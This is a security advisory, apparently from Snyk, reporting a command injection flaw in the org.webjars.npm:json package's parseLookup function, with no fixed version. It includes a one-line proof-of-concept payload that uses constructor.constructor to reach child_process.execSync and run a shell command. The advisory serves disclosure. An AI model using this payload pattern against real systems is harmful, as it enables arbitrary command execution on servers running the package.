Command Injection Affecting org.webjars.npm:json package, versions [0,]
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
1.54% (88th
percentile)
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Test your applications- Snyk ID SNYK-JAVA-ORGWEBJARSNPM-608931
- published 30 Aug 2020
- disclosed 6 Aug 2020
- credit po6ix
How to fix?
There is no fixed version for org.webjars.npm:json
.
Overview
org.webjars.npm:json is an a 'json' command for massaging and processing JSON on the command line
Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbritary commands using the parseLookup
function.
PoC
const json = require('json');
res = json.parseLookup('{[this.constructor.constructor("return process")().mainModule.require("child_process").execSync("id").toString()]}');
console.log(res);
References
CVSS Scores
version 3.1